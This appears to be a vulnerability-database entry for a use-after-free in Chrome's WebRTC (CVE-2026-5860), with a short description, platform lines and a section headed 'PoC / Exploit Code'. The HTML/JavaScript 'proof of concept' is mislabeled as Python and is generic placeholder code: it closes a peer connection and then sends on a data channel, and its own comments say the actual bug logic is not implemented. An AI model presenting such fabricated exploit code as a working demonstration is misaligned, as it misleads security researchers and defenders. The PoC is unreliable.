Use after free in WebRTC in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-5860 -->
<!-- This PoC demonstrates triggering the Use After Free in WebRTC -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5860 PoC</title>
</head>
<body>
<script>
// Step 1: Setup WebRTC PeerConnection
const pc = new RTCPeerConnection();
// Step 2: Create a data channel to manipulate internal objects
const dc = pc.createDataChannel("exploit");
// Step 3: Trigger the vulnerability scenario
// (Specific implementation depends on the exact bug logic)
// Simulating a race condition or cleanup issue
setTimeout(() => {
pc.close(); // Free the object
// Attempt to use the freed object to trigger UAF
try {
dc.send("Triggering UAF");
} catch(e) {
console.log("Exception caught: " + e);
}
}, 100);
console.log("If browser crashes or debugger hits breakpoint, vulnerability might be triggered.");
</script>
</body>
</html>